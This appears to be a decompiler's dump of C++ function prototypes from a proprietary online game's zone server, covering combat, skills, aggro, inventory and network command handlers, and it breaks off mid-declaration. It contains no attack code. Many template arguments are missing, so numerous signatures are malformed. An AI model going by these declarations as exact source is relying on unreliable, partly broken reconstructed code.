__thiscall DirectDistanceTable::ddt_DirectSR(DirectDistanceTable *this, int dx, int dy); void __thiscall BriefInfoBackup::bib_Restore(BriefInfoBackup *this, CHARBRIEFINFO_NOTCAMP *shape); void __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set(ShineObjectClass::ShinePlayer::TimeScheduler *this, ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *fnc)(#440 *this), ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType defaultreturn, ShineObjectClass::ShinePlayer::TimeScheduler::TS_CurWork work, int millisec); char __thiscall ShineObjectClass::ShinePlayer::TimeScheduler::ts_IsInNormalAttack(ShineObjectClass::ShinePlayer::TimeScheduler *this); #331 *__thiscall TargetObject::to_GetTargetObject(TargetObject *this); void __thiscall EngageArgument::EngageArgument(EngageArgument *this, #331 *, #331 *, SkillDataBox::SkillDataIndex *, SKILL_EMPOWER *, SHINE_XY_TYPE *); void __thiscall AxialListTargetInform::_AxialListTargetInform(AxialListTargetInform *this); int __thiscall ShineObjectClass::ShineMob::so_GetTargetObject(int this); signed __int16 __thiscall ShineObjectClass::ShinePlayer::EraseGoodBuff(void *this, int index, __int16 notfinderrortype); char __thiscall ShineObjectClass::ShineObject::so_SkillEnchant(#331 *this, #331 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, char *, char); unsigned int __thiscall ShineObjectClass::ShineObject::so_attack(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue); void __thiscall ShineObjectClass::ShineServant::so_GetExperienceFromMob(ShineObjectClass::ShineServant *this, int expgain, unsigned __int16 mobid, unsigned __int16 mobhandle); void __thiscall ShineObjectClass::ShineMob::smo_BashStop(int this); int __stdcall ShineObjectClass::ShineObject::so_Bash(int engarg, int resthp, int abstate, int absstrength, int absrate, int aggroclear); void __thiscall ShineObjectClass::ShineMobileObject::smo_AttackedDamage(#331 *, int, EngageArgument *); int __thiscall ShineObjectClass::ShineMob::so_mobile_IsImmortal(void *this); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_SetNaturalEnemy(int this, int NewNaturalEnemy); int __thiscall ShineObjectClass::ShineMobileObject::so_mobile_GetNaturalEnemy(int this); int __thiscall ShineObjectClass::ShinePlayer::sp_IsEthereal(void *this); AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_GetInArray(List *this, unsigned __int16 handle, char *inlist); void __cdecl std::fill(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Val); char __thiscall AxialListTargetInform::ali_Work(AxialListTargetInform *this, #331 *, #331 *, unsigned int); void __thiscall ShineObjectClass::ShineMobileObject::so_mobile_Broadcast2ndTarget(#331 *, int); int __thiscall ShineObjectClass::ShinePlayer::so_GetTargetObject(int this); void __thiscall TargetObject::to_SendInform(TargetObject *this, #440 *ply); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_UNTARGET_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_ABSTATE_ERASE_REQ(void *this, int netcmd, int len, __int16 handle); #331 *__thiscall TargetObject::to_ValidTarget(TargetObject *this, unsigned __int16 target); int __thiscall ShineObjectClass::ShineMobileObject::so_skillsmash(#331 *, SmashArgument *); int __thiscall ShineObjectClass::ShinePlayer::so_skillsmash(#331 *, SmashArgument *); char __thiscall ShineObjectClass::ShineMobileObject::so_Dispel(#331 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, unsigned int); char __thiscall ShineObjectClass::ShineMobileObject::so_SkillCure(#331 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *); int __thiscall ShineObjectClass::ShineMobileObject::so_smash(void *this, int engarg); int __thiscall ShineObjectClass::ShinePlayer::so_smash(void *this, int engarg); int __thiscall ShineObjectClass::ShineMobileObject::so_attack(#331 *, int); int __thiscall ShineObjectClass::ShineMobileObject::so_attack(#331 *, int, int); int __thiscall ShineObjectClass::ShineMob::so_attack(#331 *, int); void __thiscall ShineObjectClass::ShineMob::so_recoverhp(void *this, int hp); void __thiscall ShineObjectClass::ShineMob::so_recoversp(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::so_recoverhp(void *this, int hp); void __thiscall ShineObjectClass::ShinePlayer::so_recoversp(void *this, int a2); void __thiscall ShineObjectClass::ShineObject::so_DamagedBy(#331 *this, #331 *, int, int, char); void __thiscall ShineObjectClass::ShinePlayer::so_DamagedBy(#331 *, int, int, char); void __thiscall ShineObjectClass::ShineMob::so_DamagedBy(#331 *, int, int, char); void __thiscall ShineObjectClass::ShineMob::so_mob_DecreaseAggro(#331 *, int); void __thiscall ShineObjectClass::ShineMob::so_mob_AppendAggro(#331 *, int); void __thiscall ShineObjectClass::ShineServant::so_mob_AppendAggro(ShineObjectClass::ShineServant *this, #331 *, int); unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_NextSaveExperience(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_GainExp(void *this, int expgain, __int16 questmobid, __int16 mobid); void __thiscall ShineObjectClass::ShinePlayer::so_GainFame(void *this, int famegain); unsigned int __stdcall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByMob(__int64 prevexp, __int64 nextexp, int fa); unsigned int __thiscall ShineObjectClass::ShinePlayer::sp_LostExpWhenKilledByPlayerInPKField(void *this, __int64 prevexp, __int64 nextexp, int fa); // int __userpurge ShineObjectClass::ShinePlayer::sp_LostExperienceByKilled(int a1, int a2, int func, int (__thiscall *a4)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD)); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_SMASH_REQ(void *this, int netcmd, int len, __int16 handle); void __thiscall WorldManagerSession::wms_NC_GUILD_GUILDWARCONFIRM_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __stdcall ShineObjectClass::ShinePlayer::sp_GuildWarRequest(int guild1, int guild2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTOP_CMD(void *this, int netcmd, int len, __int16 handle); void __cdecl ShineObjectClass::ShineMobileObject::smo_BashStop(); void __thiscall ShineObjectClass::ShinePlayer::smo_BashStop(void *this); // int __userpurge ShineObjectClass::ShineMobileObject::so_Bash(void *a1, double a2, int engarg, int resthp, int abstate, int absstrength, signed int absrate, int aggroclear); // int __userpurge ShineObjectClass::ShinePlayer::so_Bash(int a1, double a2, int engarg, int resthp, int abstate, int absstrength, signed int absrate, int aggroclear); bool __thiscall ShineObjectClass::ShineMobileObject::so_mobile_IsEnemy(void *this, int a2); void __thiscall ShineObjectClass::ShineMobileObject::smo_SwingStart(void *this, int a2); char __thiscall ShineObjectClass::ShineMobileObject::smo_SwingDamage(#331 *, AbnormalStateInfo::ABSTATEINDEX, int, int, int); char __thiscall ShineObjectClass::ShinePlayer::so_mobile_IsImmortal(void *this); signed int __thiscall ShineObjectClass::ShineMobileObject::smo_HitNotRevision(void *this); AbnormalStateContainer::AbstateElementInObject *__cdecl std::copy_backward(AbnormalStateContainer::AbstateElementInObject *_First, AbnormalStateContainer::AbstateElementInObject *_Last, AbnormalStateContainer::AbstateElementInObject *_Dest); void __thiscall TargetObject::to_Set(TargetObject *this, unsigned __int16 target, #331 *targetobject, #440 *ply); int __thiscall ShineObjectClass::ShineMob::so_mobile_IsEnemy(_DWORD, _DWORD); // weak char __thiscall ShineObjectClass::ShineServant::so_mobile_IsEnemy(ShineObjectClass::ShineServant *this, #331 *obj); int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingStart(void *this); int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_SwingDamage(void *this); char __thiscall ShineObjectClass::ShineMob::smo_SwingDamage(#331 *, AbnormalStateInfo::ABSTATEINDEX, int, int, int); char __thiscall ShineObjectClass::ShineMobileObject::so_SkillEnchant(#331 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, char *, char); void __thiscall ShineObjectClass::ShineMobileObject::so_KilledBy(#331 *, int, int, unsigned int); void __thiscall ShineObjectClass::ShineMob::so_KilledBy(#331 *, int, int, unsigned int); int __thiscall ShineObjectClass::ShinePlayer::sp_NC_BAT_BASHSTART_CMD(_DWORD, _DWORD, _DWORD, _DWORD); // weak void __cdecl std::_Uninit_fill_n>(AbnormalStateContainer::AbstateElementInObject *_First, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); AbnormalStateContainer::AbstateElementInObject *__thiscall std::vector>::_Ufill(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Ptr, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, AbnormalStateContainer::AbstateElementInObject *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, AbnormalStateContainer::AbstateElementInObject _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, AbnormalStateContainer::AbstateElementInObject *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize); void __thiscall std::vector>::push_back(std::vector > *this, AbnormalStateContainer::AbstateElementInObject *_Val); void __thiscall ShineObjectClass::ShinePlayer::so_KilledBy(#331 *, int, int, unsigned int); void __thiscall SpyNet::EspionageAgent::ea_SRT_GETHEAL(SpyNet::EspionageAgent *this, #331 *, int, int); void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this); void __thiscall BattleObjectGroup::BattleObjectStruct::BattleObjectStruct(BattleObjectGroup::BattleObjectStruct *this, unsigned __int16 attacker, unsigned __int16 defender); void __thiscall BattleObjectGroup::BattleObject::BattleObject(BattleObjectGroup::BattleObject *this); void __thiscall BattleObjectGroup::BattleObject::_BattleObject(BattleObjectGroup::BattleObject *this); unsigned __int16 __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_GetIndex(SkillEffectApply::SkillBlastEffectContainer *this); unsigned int __thiscall std::vector>::size(std::vector > *this); void __thiscall List::_List(List *this); char __thiscall List::l_PushZ(List *this, BattleObjectGroup::BattleObject *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, BattleObjectGroup::BattleObject *ele); char __thiscall List::l_PopZ(List *this, BattleObjectGroup::BattleObject *ele); void __cdecl std::fill(SkillEffectApply::SkillBlastEffect *_First, SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Val); void __cdecl std::fill(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_backward_opt(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall BattleObjectGroup::BattleObjectList::_BattleObjectList(BattleObjectGroup::BattleObjectList *this); void __cdecl ShineObjectClass::ShineMobileObject::so_mobile_SpeedChange(); char __thiscall ShineObjectClass::ShineMobileObject::so_mobile_ICanDamageTo(#331 *, char *); char __thiscall ShineObjectClass::ShineServant::so_mobile_ICanDamageTo(ShineObjectClass::ShineServant *this, #331 *, char *); char __thiscall ShineObjectClass::ShineMob::so_mobile_ICanDamageTo(#331 *, char *); bool __thiscall ShineObjectClass::ShineMobileObject::smo_ICanHealTo(void *this, int a2); char __thiscall ShineObjectClass::ShinePlayer::smo_ICanHealTo(void *this, int a2); char __thiscall ShineObjectClass::ShineServant::smo_ICanHealTo(ShineObjectClass::ShineServant *this, #331 *target); bool __thiscall ShineObjectClass::ShineMob::smo_ICanHealTo(void *this, int a2); void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_ListCheck(SkillEffectApply::SkillBlastEffectContainer *this); int __stdcall ShineObjectClass::ShineMobileObject::smo_SkillBlastTick(int sklidx); int __stdcall ShineObjectClass::ShinePlayer::smo_SkillBlastTick(int sklidx); int __thiscall ShineObjectClass::ShineMob::smo_SkillBlastTick(void *this, int sklidx); char __thiscall List::l_PushA(List *this, BattleObjectGroup::BattleObject *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak SkillEffectApply::SkillBlastEffect *__cdecl std::copy_backward(SkillEffectApply::SkillBlastEffect *_First, SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Dest); std::vector >::iterator *__cdecl std::find>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, SkillEffectApply::SkillBlastEffect *_Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_SkillEffectApply::SkillBlastEffect>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, SkillEffectApply::SkillBlastEffect *_Val); SkillEffectApply::SkillBlastEffect *__cdecl std::_Uninit_copy>::iterator_SkillEffectApply::SkillBlastEffect___std::allocator>(SkillEffectApply::SkillBlastEffect *_First, SkillEffectApply::SkillBlastEffect *_Last, SkillEffectApply::SkillBlastEffect *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Uninit_copy>::iterator_PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage___std::allocator>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall BattleObjectGroup::BattleObjectList::bol_Store(BattleObjectGroup::BattleObjectList *this, BattleObjectGroup::BattleObjectStruct *battleobject, unsigned int hittime); char __thiscall ShineObjectClass::ShinePlayer::so_mobile_ICanDamageTo(#331 *, char *); void __thiscall ShineObjectClass::ShinePlayer::sp_ChineCastCut(void *this); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__cdecl std::_Copy_opt(std::vector >::iterator _First, std::vector >::iterator _Last, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(SkillEffectApply::SkillBlastEffect *_First, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __cdecl std::_Uninit_fill_n>(PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_First, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall SkillEffectApply::SkillDamageSender::sds_Finish(SkillEffectApply::SkillDamageSender *this, SkillEffectApply::SkillBlastEffect *skill); SkillEffectApply::SkillBlastEffect *__thiscall std::vector>::_Ufill(std::vector > *this, SkillEffectApply::SkillBlastEffect *_Ptr, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val); PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *__thiscall std::vector>::_Ufill(std::vector > *this, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Ptr, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __thiscall BattleObjectGroup::BattleObjectList::BattleObjectList(BattleObjectGroup::BattleObjectList *this); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_vector>(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::_Xlen(std::vector > *this); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage *_Val); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L162719(int a1); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L162839(int a1); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, SkillEffectApply::SkillBlastEffect *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, PROTO_NC_BAT_SKILLBASH_HIT_DAMAGE_CMD::SkillDamage _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, SkillEffectApply::SkillBlastEffect *_Val); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, SkillEffectApply::SkillBlastEffect _Val); void __thiscall SkillEffectApply::SkillDamageSender::SkillDamageSender(SkillEffectApply::SkillDamageSender *this); void __thiscall SkillEffectApply::SkillDamageSender::sds_Initialize(SkillEffectApply::SkillDamageSender *this); void __thiscall SkillEffectApply::SkillBlastEffectContainer::SkillBlastEffectContainer(SkillEffectApply::SkillBlastEffectContainer *this); void __thiscall std::vector>::push_back(std::vector > *this, SkillEffectApply::SkillBlastEffect *_Val); void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_Store(SkillEffectApply::SkillBlastEffectContainer *this, unsigned __int16 index, SkillDataBox::SkillDataIndex *sklidx, #748 *caster, #331 *targetobject, SHINE_XY_TYPE *targetlocate, int lastdamage); void __thiscall SkillEffectApply::SkillBlastEffectContainer::sbec_Routine(SkillEffectApply::SkillBlastEffectContainer *this); void __thiscall BitSet::BitSet(BitSet *this, int maxbit); void __thiscall BitSet::_BitSet(BitSet *this); void __thiscall BitSet::bs_clear(BitSet *this); bool __cdecl BlockDistribute::BlockingDistribute::bd_Inactiv(BlockDistribute::BlockingDistribute *bd); char __thiscall BlockDistribute::BlockingDistribute::bd_FindEmptyCoord(BlockDistribute::BlockingDistribute *this, SHINE_XY_TYPE *xy); void __thiscall BlockDistribute::BlockingDistribute::_BlockingDistribute(BlockDistribute::BlockingDistribute *this); void __thiscall BlockDistribute::BlockDistributeManager::BlockDistributeManager(BlockDistribute::BlockDistributeManager *this); void __thiscall BlockDistribute::BlockDistributeManager::_BlockDistributeManager(BlockDistribute::BlockDistributeManager *this); void __thiscall std::_List_nod>::_Node::__Node(std::_List_nod >::_Node *this); std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this); std::_List_nod >::_Node *__thiscall std::list>::_Buynode(std::list > *this, std::_List_nod >::_Node *_Next, std::_List_nod >::_Node *_Prev, BlockDistribute::BlockingDistribute *_Val); void __thiscall std::list>::clear(std::list > *this); void __thiscall std::list>::remove_if(std::list > *this, bool (__cdecl *_Pred)(BlockDistribute::BlockingDistribute *)); void __thiscall std::list>::_Incsize(std::list > *this, unsigned int _Count); void __thiscall BlockDistribute::BlockingDistributeList::BlockingDistributeList(BlockDistribute::BlockingDistributeList *this); void __thiscall BlockDistribute::BlockingDistributeList::_BlockingDistributeList(BlockDistribute::BlockingDistributeList *this); BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockingDistributeList::bdl_New(BlockDistribute::BlockingDistributeList *this); void __thiscall BlockDistribute::BlockingDistribute::bd_Initialize(BlockDistribute::BlockingDistribute *this, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right); BlockDistribute::BlockingDistribute *__thiscall BlockDistribute::BlockDistributeManager::bdm_Find(BlockDistribute::BlockDistributeManager *this, Name3 *mapid, MapBlock::MapBlockInformation *blockinfo, int top, int bottom, int left, int right); void __thiscall PROTO_NC_CHAR_WEDDINGDATA_ACK::Reset(PROTO_NC_CHAR_WEDDINGDATA_ACK *this); void __thiscall BattleStat::bs_Clear(BattleStat *this); void __thiscall Observer::_Observer(Observer *this); DebugLogging *__thiscall DebugLogging::operator<<(DebugLogging *this, int num); void __thiscall MobAttackSequence::AttackElement4Mob::AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this); void __thiscall MobAttackSequence::AttackElement4Mob::_AttackElement4Mob(MobAttackSequence::AttackElement4Mob *this); void __thiscall ItemLotInspector::ili_Reset(ItemLotInspector *this); void __thiscall ItemBoxIterItem::ItemBoxIterItem(ItemBoxIterItem *this, ItemBag *ib, ChargedEffectContainer *cec); void __thiscall ItemBoxIterEmpty::ItemBoxIterEmpty(ItemBoxIterEmpty *this, ItemBag *ib, ChargedEffectContainer *cec); void __thiscall ItemBoxIterIdent::ItemBoxIterIdent(ItemBoxIterIdent *this, ItemBag *ib, unsigned __int16 ident, ChargedEffectContainer *cec); void __thiscall ItemBoxIterator::_ItemBoxIterator(ItemBoxIterItemRegNo *this); char __thiscall ItemBoxIterator::ibi_Home(ItemBoxIterator *this); ItemInventoryCell *__thiscall ItemBoxIterator::ibi_Get(ItemBoxIterator *this); unsigned __int16 __thiscall ItemInventoryCell::iic_ItemIdent(ItemInform_ActionItem *this); __int16 __thiscall ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(int this); void __thiscall InventoryLocking::InventoryCellLock::icl_IncIndex(InventoryLocking::InventoryCellLock *this); void __thiscall InventoryLocking::UnlockedInventoryIterator::UnlockedInventoryIterator(InventoryLocking::UnlockedInventoryIterator *this, int type, ItemBoxIterator *iter, InventoryLocking::InventoryCellLock *lcklst); ItemInventoryCell *__thiscall InventoryLocking::UnlockedInventoryIterator::uii_Get(InventoryLocking::UnlockedInventoryIterator *this); int __thiscall InventoryLocking::UnlockedInventoryIterator::uii_Slot(InventoryLocking::UnlockedInventoryIterator *this); void __thiscall BriefInformationCharacter::bic_HideMyIdentity(BriefInformationCharacter *this); void __thiscall BriefInformationCharacter::bic_ShowMyIdentity(BriefInformationCharacter *this, ZoneCharData *chardata, char Type, char ElementNo, unsigned __int16 MobID, unsigned int gld); void __thiscall BriefInfoDelete::BriefInfoDelete(BriefInfoDelete *this); void __thiscall BriefInformationAbstate::BriefInformationAbstate(BriefInformationAbstate *this); void __thiscall BriefInformationAbstate::bia_Send(BriefInformationAbstate *this, #331 *dest); void __thiscall Parameter::Container::c_clear(Parameter::Container *this); void __thiscall Parameter::Container::c_StoreMob(Parameter::Container *this, MobDataBox::MobDataBoxIndex *mobdatabox); MobTacticElement::MobActionBase *__thiscall MobTacticElement::MobActionRoaming::mar_Init(MobTacticElement::MobActionRoaming *this, ShineObjectClass::RoamingInformation *roaminfo); signed int __stdcall ShineObjectClass::ShineObject::so_door_Build(int pmap, int x, int y, int dir, __int16 handle, __int16 mobid, int scale); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::BriefInfoExchangeCharacter(BriefInfoExchanger::BriefInfoExchangeCharacter *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::BriefInfoExchangeMob(BriefInfoExchanger::BriefInfoExchangeMob *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(BriefInfoExchanger::BriefInfoExchangeMob *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::BriefInfoExchangeDoor(BriefInfoExchanger::BriefInfoExchangeDoor *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::BriefInfoExchangeEffect(BriefInfoExchanger::BriefInfoExchangeEffect *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::BriefInfoExchangeItem(BriefInfoExchanger::BriefInfoExchangeItem *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::BriefInfoExchangeMagicField(BriefInfoExchanger::BriefInfoExchangeMagicField *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::BriefInfoExchangeMiniHouse(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer::bixaPacketbuffer(BriefInfoExchanger::BriefInfoExchangeAbstate::bixaPacketbuffer *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::_BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(BriefInfoExchanger::BriefInfoExchangeAbstate *this); void __thiscall CalculateBroadcastDistance::CalculateBroadcastDistance(CalculateBroadcastDistance *this); void __thiscall BriefInfoBackup::BriefInfoBackup(BriefInfoBackup *this); char __thiscall ShineObjectClass::ShinePlayer::so_ply_FromWhere(int this, char connectfrom); char __thiscall ShineObjectClass::ShinePlayer::so_ply_GetFromWhere(int this); void __thiscall AxialListGhostBan::_AxialListGhostBan(AxialListGhostBan *this); char __thiscall AxialListGhostBan::ali_Work(AxialListGhostBan *this, #331 *, #331 *, unsigned int); CIDEB_Element *__thiscall ChargedItemEffectDataBox::cideb_GetItemID(ChargedItemEffectDataBox *this, unsigned __int16 itemid); void __cdecl std::fill(std::list,std::allocator > >::iterator *_First, std::list,std::allocator > >::iterator *_Last, std::list,std::allocator > >::iterator *_Val); char __thiscall List::l_4AllInList(List *this, ListIteratorDefault *arg); void *__thiscall Observer::_vector_deleting_destructor_(Observer *this, unsigned int); char __thiscall ItemBoxIterItem::ibi_isvalid(ItemBoxIterItem *this); char __thiscall ItemBoxIterEmpty::ibi_isvalid(ItemBoxIterEmpty *this); char __thiscall ItemBoxIterIdent::ibi_isvalid(ItemBoxIterIdent *this); void __thiscall BriefInformationAbstate::bia_Fill(BriefInformationAbstate *this, #331 *myself); void __thiscall MoveManager::_mm_ReserveHaltState(MoveManager *this); void __thiscall ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_2Roumen(void *this); void __thiscall ShineObjectClass::ShinePlayer::sp_RideInitialize(void *ecx0); void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponSpeedSet(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponSpeedSet(void *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Send(BriefInfoExchanger::BriefInfoExchangeCharacter *this, #331 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeMob::bixm_Send(BriefInfoExchanger::BriefInfoExchangeMob *this, #331 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeDoor::bixd_Send(BriefInfoExchanger::BriefInfoExchangeDoor *this, #331 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeEffect::bixe_Send(BriefInfoExchanger::BriefInfoExchangeEffect *this, #331 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeItem::bixi_Send(BriefInfoExchanger::BriefInfoExchangeItem *this, #331 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeMagicField::bixmfm_Send(BriefInfoExchanger::BriefInfoExchangeMagicField *this, #331 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Send(BriefInfoExchanger::BriefInfoExchangeMiniHouse *this, #331 *center); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::BriefInfoExchangeAbstate(BriefInfoExchanger::BriefInfoExchangeAbstate *this); void __thiscall BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(BriefInfoExchanger::BriefInfoExchangeAbstate *this, #331 *center); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChangeBriefInfo(void *this, int equcell, int slot); unsigned int __thiscall CalculateBroadcastDistance::cbd_DistanceSquar(CalculateBroadcastDistance *this, #331 *center); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MISC_HIDE_EXCEPT_ME_ON_CMD(void *this, int netcmd, int len, __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::sp_PW(void *this, const char *arg); int __thiscall ShineObjectClass::ShinePlayer::sp_MakeMiniHouse(_DWORD); // weak void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_CREATEMUSHROOMFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_ConnectFromWhere(void *this); void __thiscall WorldManagerSession::wms_NC_MISC_CONNECTFROMWHERE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); void __thiscall ShineObjectClass::ShinePlayer::sp_GhostBan(void *this); void __cdecl ShineObjectClass::ShineObject::so_ply_WeaponRangeSet(); void __thiscall ShineObjectClass::ShinePlayer::so_ply_WeaponRangeSet(void *this); MobAttackSequence::AttackElement4Mob *__thiscall MobAttackSequence::mas_Find(MobAttackSequence *this, unsigned __int16 mobid); void __thiscall MoveManager::mm_Halt(MoveManager *this); FieldMap::FM_MarkingError __thiscall ShineObjectClass::ShineDoor::so_door_Build(ShineObjectClass::ShineDoor *this, 